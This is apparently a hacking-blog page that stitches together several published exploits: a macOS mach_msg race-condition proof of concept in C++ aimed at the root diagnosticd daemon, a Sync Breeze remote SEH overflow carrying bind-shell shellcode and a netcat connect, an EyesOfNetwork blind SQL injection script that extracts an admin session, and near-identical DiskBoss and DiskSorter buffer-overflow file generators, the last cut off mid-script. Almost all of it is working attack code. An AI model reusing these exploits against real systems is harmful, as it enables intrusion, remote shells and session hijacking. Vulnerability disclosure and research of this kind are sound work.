/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1083
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
/*
macOS/IOS: mach_msg: doesn't copy memory
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
#include <stdint.h>
#include <stdio.h>
#include <xpc/xpc.h>
#include <assert.h>
#include <iostream>
#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <printf.h>
#include <dispatch/dispatch.h>
#include <vector>
#include <chrono>
#include <thread>
struct RaceContext {
std::vector<uint8_t> payload;
size_t race_offset;
std::vector<uint8_t> spray;
size_t spray_size;
};
xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);
double now() {
return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
}
mach_port_t createMemoryEntry(memory_object_size_t size) {
vm_address_t addr = 0;
vm_allocate(mach_task_self(), &addr, size, true);
memset((void*)addr, 0, size);
mach_port_t res = 0;
mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0);
vm_deallocate(mach_task_self(), addr, size);
return res;
}
void sendPayload(const RaceContext* ctx) {
size_t data_size = ctx->spray_size;
mach_port_t mem_entry = createMemoryEntry(data_size);
uint8_t* data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
memcpy(data, &ctx->payload[0], ctx->payload.size());
for (size_t i = 0x1000; i < data_size; i += 0x1000) {
memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
}
for (int32_t i = 0; i < 0x4000; i++) {
double start = now();
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
double duration = now() - start;
printf("duration: %f\n", duration);
if (duration > 2.0) {
xpc_release(client);
break;
}
mach_port_t service_port = ((uint32_t*)client)[15];
void* msg_data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
struct {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
} m = {};
m.hdr.msgh_size = sizeof(m);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
m.hdr.msgh_id = 0x10000000;
m.body.msgh_descriptor_count = 1;
m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
m.ool_desc.address = msg_data;
m.ool_desc.size = (mach_msg_size_t)data_size;
m.ool_desc.deallocate = 1;
m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;
bool stop = true;
std::thread syncer([&] {
while (stop);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
stop = true;
});
size_t race_offset = ctx->race_offset;
__uint128_t orig = *(__uint128_t*)&data[race_offset];
__uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";
mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
stop = false;
while (!stop) {
*(__uint128_t*)&data[race_offset] = orig;
*(__uint128_t*)&data[race_offset] = new_one;
}
syncer.join();
*(__uint128_t*)&data[race_offset] = orig;
xpc_release(client);
}
mach_port_deallocate(mach_task_self(), mem_entry);
}
const void* memSearch(const void* base, const void* data, size_t size) {
const uint8_t* p = (const uint8_t*)base;
for (;;) {
if (!memcmp(p, data, size))
return p;
p++;
}
}
void* getLibraryAddress(const char* library_name) {
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return 0;
}
void initRace(RaceContext* ctx) {
struct FakeObject {
void* unk[2];
void* ref_to_bucket;
void* padd[0x10];
struct {
const void* sel;
const void* func;
} bucket;
};
const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000};
const size_t kTagOffset = 0x954;
const uintptr_t kSprayedAddr = 0x120101010;
//ctx->data.resize(0x10000);
ctx->payload.resize(0x1000);
ctx->race_offset = kTagOffset - 0x10;
memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData));
*(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr;
ctx->spray.resize(0x300);
ctx->spray_size = 1024 * 1024 * 512;
void* libdispatch = getLibraryAddress("libdispatch.dylib");
FakeObject* predict = (FakeObject*)kSprayedAddr;
FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff];
obj->ref_to_bucket = &predict->bucket;
obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14);
obj->bucket.func = (void*)0x9999;
}
int32_t main() {
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
RaceContext ctx;
initRace(&ctx);
printf("attach the debugger to diagnosticd\n");
getchar();
sendPayload(&ctx);
return 0;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863206556
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#!/usr/bin/env python
# Exploit Title: Sync Breeze Enterprise v9.5.16 - Remote buffer overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86
import socket,os,time,struct
host = "192.168.2.186"
port = 80
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode = ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xa1\xb7"
shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xa1"
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\x1e\xa4\x54\xd2\x1e\x2f"
shellcode += "\xa4\xdb\xca\xda\xac\x7a\xa5\xf8\x51\x3c\x15\xbd\xf9"
shellcode += "\xd5\x7f\x32\x26\xc5\x7f\x98\x4f\x6e\x82\x23\x7e\x33"
shellcode += "\x0b\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
shellcode += "\xce\xd1\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
shellcode += "\x69\x36\x6a\xea\xfe\xa1\xe0\x7b\x4d\x53\xf4\x51\x25"
shellcode += "\xf0\x67\x3e\xb5\x7f\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
shellcode += "\x0f\x8d\x5e\xcd\x0b\xf9\x0e\x98\xc5\x57\xe9\x72\xa4"
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
shellcode += "\x8a\x26\x1e\x84\x23\xaf\x96\xfd\x59\x4f\x58\xd4\xd9"
shellcode += "\x7f\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
shellcode += "\x7e\xe8\xee\x77\x9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
shellcode += "\x74\x35\x4d\xc4"
#Buffer overflow
junk = "A" * 2487
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x100160ae)
#Generated by mona.py v2.0, rev 568 - Immunity Debugger
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
#NOPS
nops = "\x90"
#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))
#HTTP Request
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host,port))
socket.send(request)
socket.close()
print "Waiting for shell..."
time.sleep(5)
os.system("nc " + host + " 4444")
# Exploit Title: EyesOfNetwork (EON) 5.1 Unauthenticated SQL Injection in eonweb leading to remote root
# Google Dork: intitle:EyesOfNetwork intext:"sponsored by AXIANS"
# Date: 29/03/2017
# Exploit Author: Dany Bach
# Vendor Homepage: https://www.eyesofnetwork.com/
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.1-x86_64-bin.iso
# Version: EyesOfNetwork <= 5.1
# Tested on: EyesOfNetwork 5.1 and 5.0
# CVE: None
# Contact: Dany Bach [@ddxhunter, rioru.github.io]
# Advisory and description of the complete scenario: https://rioru.github.io/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html
# Fix: None
import time
from requests import *
from requests.packages.urllib3.exceptions import InsecureRequestWarning
packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "https://192.168.1.161"
print "[!] Proof of Concept for the Unauthenticated SQL Injection in EyesOfNetwork 5.1 (DELETE statement) - Rioru (@ddxhunter)"
def getTime(page, cookie=""):
start = time.time()
get(url+page, verify=False, cookies=dict(session_id=cookie))
end = time.time()
return round(end - start, 2)
# Getting an initial response time to base our next requests around it
initial_time = getTime("/") - 0.01
getTime("/logout.php", "rioru' OR user_id!=1 -- -")
print "[+] The initial request time on %s is %f, getting the number of entries, it could take a while..." % (url, initial_time)
sleep1_time = getTime("/logout.php", "rioru' OR SLEEP(1)=1337 -- -")
if (sleep1_time - initial_time >= 1):
count = round(sleep1_time)
print "[+] Found %d entries in the [sessions] table, deleting every sessions except one" % count
else:
print "[-] The table [sessions] seems empty"
exit()
for i in range(int(count) - 1):
getTime("/logout.php", "rioru' OR 1=1 LIMIT 1 -- -")
# Get the length
session_length = 0
for i in range(12):
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT LENGTH(session_id) FROM DUAL ORDER BY session_id LIMIT 1)="+ str(i+1) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
session_length = i+1
break
if (session_length == 0):
print "[-] Couldn't find the length of the session_id"
exit()
print "[+] Found an admin session length: %d, getting the session_id" % session_length
# Get the session_id
print "[+] session_id: ",
session_id = ""
for i in range(session_length):
for j in range(10):
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN (SUBSTRING((SELECT session_id FROM DUAL ORDER BY session_id LIMIT 1),"+ str(i+1) +",1)="+ str(j) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
session_id += str(j)
print str(j),
break
print "\n[+] final session_id: [%s]" % session_id
# Get the username
execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT user_name FROM users WHERE user_id=1)='admin') THEN SLEEP(1) ELSE 1 END)=1337 -- -")
if (round(execTime - initial_time) >= 1):
print "[+] Username is [admin]"
else:
print "[-] Username is not admin, brute force necessary"
print "[+] End of the PoC use these cookies to authenticate to Eonweb:"
print "session_id: %s;" % session_id
print "user_name: %s;" % "admin"
print "user_id: %d;" % 1
print "user_limitation: %d;" % 0
print "group_id: %d;" % 1
# Root privileges can be gained using snmpd once authenticated
#!/usr/bin/env python
# Exploit Title: Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86
import os,struct
#Buffer overflow
junk = "A" * 1536
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
#!/usr/bin/env python
# Exploit Title: DiskBoss Enterprise v7.8.16 - 'Import Command' Buffer Overflow
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskboss.com
# Software Link: http://www.diskboss.com/setups/diskbossent_setup_v7.8.16.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86
import os,struct
#Buffer overflow
junk = "A" * 1536
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'
f = open('Exploit.xml', 'w')
f.write(file)
f.close()
#!/usr/bin/env python
# Exploit Title: DiskSorter Enterprise 9.5.12 - 'Import Command' Buffer Overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.disksorter.com
# Software Link: http://www.disksorter.com/setups/disksorterent_setup_v9.5.12.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86
import os,struct
#Buffer overflow
junk = "A" * 1536
#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)
#NOPS
nops = "\x90"
#LEA EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"
#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)
#CALC.EXE
shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
#PAYLOAD
